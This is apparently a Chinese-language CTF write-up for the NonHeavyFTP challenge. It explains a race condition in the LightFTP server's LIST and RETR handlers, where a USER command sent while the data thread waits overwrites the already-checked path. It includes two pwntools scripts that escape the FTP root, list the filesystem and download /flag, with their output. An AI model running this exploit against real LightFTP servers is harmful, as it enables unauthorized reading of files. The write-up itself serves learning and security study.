NonHeavyFTP
1 2 3 4 5 6 7 8 fftp: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=dd778d889ef0dab05153ea682e9ad1ad3d493130, for GNU/Linux 3.2 .0 , not stripped [!] Could not populate PLT: invalid syntax (unicorn.py, line 110 ) [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/NonHeavyFTP/fftp' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
环境搭建
查看 Dockerfile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 FROM ubuntu:22.04 ENV DEBIAN_FRONTEND noninteractive RUN apt-get update &&\ apt-get install -y --no-install-recommends wget unzip gcc make libc6-dev gnutls-dev uuid RUN mkdir -p /server/data/ &&\ echo "hello from LightFTP" >> /server/data/hello.txt &&\ cd /server &&\ wget --no-check-certificate https: COPY ./flag /flag COPY ./fftp.conf /server/fftp.conf RUN mv /flag /flag.`uuid` &&\ useradd -M -d /server/ -U ftp WORKDIR /server EXPOSE 2121 CMD ["runuser" , "-u" , "ftp" , "-g" , "ftp" , "/server/fftp" , "/server/fftp.conf" ]
搭建 docker 环境:
1 docker build -t "fftp" .
启动 docker:
1 docker run -it -p 2121 :2121 fftp:latest /bin/sh
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [ftpconfig] port=2121 maxusers=10000000 interface=0.0 .0 .0 local_mask=255.255 .255 .255 minport=30000 maxport=60000 goodbyemsg=Goodbye! keepalive=1 [anonymous] pswd=* accs=readonly root=/server/data/
在 ftpLIST
函数中还有一个条件竞争漏洞,之后再谈
入侵思路
利用匿名登录漏洞可以直接连接服务器:
root=/server/data
:把 ftp 服务端的目录设置为 /server/data
通过 Dockerfile 可以发现 flag 在根目录中,接下来的目标就是利用 ftp 服务器的功能来获取根目录中的 flag
这篇博客中讲解了如何实现 ftp 客户端:c语言实现ftp客户端
当然也可以使用 Linux 中的 ftp 命令来连接
直接使用 pwntools
的 remote
模块也行
分析 Dockerfile 可以发现:
flag 文件在根目录中,而我们只能控制 /server/data
目录
接下来的目标就是跳出程序的限制,从而读取出 flag
本程序最关键的一个漏洞如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int ftpLIST (PFTPCONTEXT context, const char *params) { ...... ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof (context->FileName), context->FileName); while (stat(context->FileName, &filestats) == 0 ) { if ( !S_ISDIR(filestats.st_mode) ) break ; sendstring(context, interm150); writelogentry(context, " LIST" , (char *)params); context->WorkerThreadAbort = 0 ; pthread_mutex_lock(&context->MTLock); context->WorkerThreadValid = pthread_create(&tid, NULL , (void * (*)(void *))list_thread, context); ...... } return sendstring(context, error550); }
先调用 ftp_effective_path
检查文件路径
再创建 list_thread
来执行 LIST 命令
关于“被动模式”:
当 FTP 处于“被动模式”时,数据将使用新套接字 socket 传输
在 create_datasocket
函数中(list_thread
中会调用这个函数),线程会卡在 accept
函数中,等待客户端连接
当客户端进行连接时,它将读取 context->FileName
的文件目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void *list_thread (PFTPCONTEXT context) { volatile SOCKET clientsocket; gnutls_session_t TLS_datasession; int ret; DIR *pdir; struct dirent *entry ; pthread_mutex_lock(&context->MTLock); pthread_cleanup_push(cleanup_handler, context); ret = 0 ; TLS_datasession = NULL ; clientsocket = create_datasocket(context);
在“被动模式”下,程序先检查文件路径,然后卡在 create_datasocket
函数中
如果此时修改 create_datasocket
函数的参数 context
,就可以跳出 /server/data
的限制(已经检查过文件路径了)
具体可以使用 ftpUSER
函数来修改 context
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int ftpUSER (PFTPCONTEXT context, const char *params) { if ( params == NULL ) return sendstring(context, error501); context->Access = FTP_ACCESS_NOT_LOGGED_IN; writelogentry(context, " USER: " , (char *)params); snprintf (context->FileName, sizeof (context->FileName), "331 User %s OK. Password required\r\n" , params); sendstring(context, context->FileName); strcpy (context->FileName, params); return 1 ; }
PFTPCONTEXT
是一个指针,ftpUSER
和 ftpLIST
共享同一片空间的数据
测试脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *ip = "127.0.0.1" p = remote(ip,2121 ) p.send("USER anonymous\r\n" ) success(p.recv()) p.send("PASS 123456\r\n" ) success(p.recv()) p.send("EPSV\r\n" ) ret = p.recv() success(ret) if "Entering Extended Passive Mode" in ret: parts = ret.split('|' ) pport = int (parts[3 ]) success("Passive port: %s" % pport) p.send("LIST \r\n" ) p.send("USER / \r\n" ) p2 = remote(ip,pport) success(p.recv()) success("<------------------------------------>" ) success(p2.recv())
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ➜ NonHeavyFTP python exp .py [+] Opening connection to 127.0 .0 .1 on port 2121 : Done [+] 220 LightFTP server ready 331 User anonymous OK. Password required [+] 230 User logged in, proceed. [+] 229 Entering Extended Passive Mode (|||33416 |) [+] Passive port: 33416 [+] Opening connection to 127.0.0.1 on port 33416: Done [+] 150 File status okay ; about to open data connection. 331 User / OK. Password required [+] <------------------------------------> [+] drwxrwxrwt 25 0 0 12288 Jan 12 13 :25 tmp lrwxrwxrwx 1 0 0 7 Aug 28 19 :09 lib drwxr-xr-x 142 0 0 12288 Jan 12 11 :05 etc lrwxrwxrwx 1 0 0 10 Aug 28 19 :09 libx32 drwxr-xr-x 2 0 0 4096 Aug 09 19 :48 srv -rwxr-xr-x 1 0 0 14 Jan 12 13 :20 flag drwxrwxr-x 2 0 0 4096 Aug 28 19 :12 cdrom dr-xr-xr-x 400 0 0 0 Jan 12 11 :00 proc drwxr-xr-x 14 0 0 4096 Sep 06 16 :40 usr dr-xr-xr-x 13 0 0 0 Jan 12 11 :00 sys lrwxrwxrwx 1 0 0 9 Aug 28 19 :09 lib64 drwxr-xr-x 3 0 0 4096 Oct 01 11 :00 opt drwxr-xr-x 3 0 0 4096 Aug 28 19 :26 home drwxr-xr-x 38 0 0 1040 Jan 12 13 :21 run drwxr-xr-x 3 0 0 4096 Jan 12 13 :24 server -rw------- 1 0 0 2147483648 Aug 28 19 :09 swapfile lrwxrwxrwx 1 0 0 9 Aug 28 19 :09 lib32 drwxr-xr-x 19 0 0 4180 Jan 12 11 :01 dev drwx------ 2 0 0 16384 Aug 28 19 :09 lost+found drwx------ 6 0 0 4096 Sep 01 23 :26 root lrwxrwxrwx 1 0 0 7 Aug 28 19 :09 bin drwxr-xr-x 3 0 0 4096 Aug 28 19 :37 media drwxr-xr-x 12 0 0 4096 Sep 24 10 :10 snap drwxr-xr-x 5 0 0 4096 Aug 29 06 :03 glibc drwxr-xr-x 4 0 0 4096 Jan 07 10 :01 boot drwxr-xr-x 14 0 0 4096 Aug 09 19 :54 var drwxr-xr-x 3 0 0 4096 Aug 28 22 :55 mnt lrwxrwxrwx 1 0 0 8 Aug 28 19 :09 sbin [*] Closed connection to 127.0 .0 .1 port 33416 [*] Closed connection to 127.0 .0 .1 port 2121
接下来分析实现下载功能的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int ftpRETR (PFTPCONTEXT context, const char *params) { ...... ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof (context->FileName), context->FileName); while (stat(context->FileName, &filestats) == 0 ) { if ( S_ISDIR(filestats.st_mode) ) break ; sendstring(context, interm150); writelogentry(context, " RETR: " , (char *)params); context->WorkerThreadAbort = 0 ; pthread_mutex_lock(&context->MTLock); context->WorkerThreadValid = pthread_create(&tid, NULL , (void * (*)(void *))retr_thread, context); ...... } return sendstring(context, error550); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void *retr_thread (PFTPCONTEXT context) { volatile SOCKET clientsocket; int sent_ok, f; off_t offset; ssize_t sz, sz_total; size_t buffer_size; char *buffer; struct timespec t ; signed long long lt0, lt1, dtx; gnutls_session_t TLS_datasession; pthread_mutex_lock(&context->MTLock); pthread_cleanup_push(cleanup_handler, context); ...... buffer = malloc (TRANSMIT_BUFFER_SIZE); while (buffer != NULL ) { clientsocket = create_datasocket(context);
下载函数 ftpRETR
中也有类似的条件竞争漏洞,可以用相同的方法来下载 flag 文件
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *ip = "127.0.0.1" p = remote(ip,2121 ) p.send("USER anonymous\r\n" ) success(p.recv()) p.send("PASS 123456\r\n" ) success(p.recv()) p.send("EPSV\r\n" ) ret = p.recv() success(ret) if "Entering Extended Passive Mode" in ret: parts = ret.split('|' ) pport = int (parts[3 ]) success("Passive port: %s" % pport) p.send("RETR \r\n" ) p.send("USER /flag \r\n" ) p2 = remote(ip,pport) success(p.recv()) success("<------------------------------------>" ) success(p2.recv())
小结:
这种题目就比较贴合现实漏洞利用了,涨见识了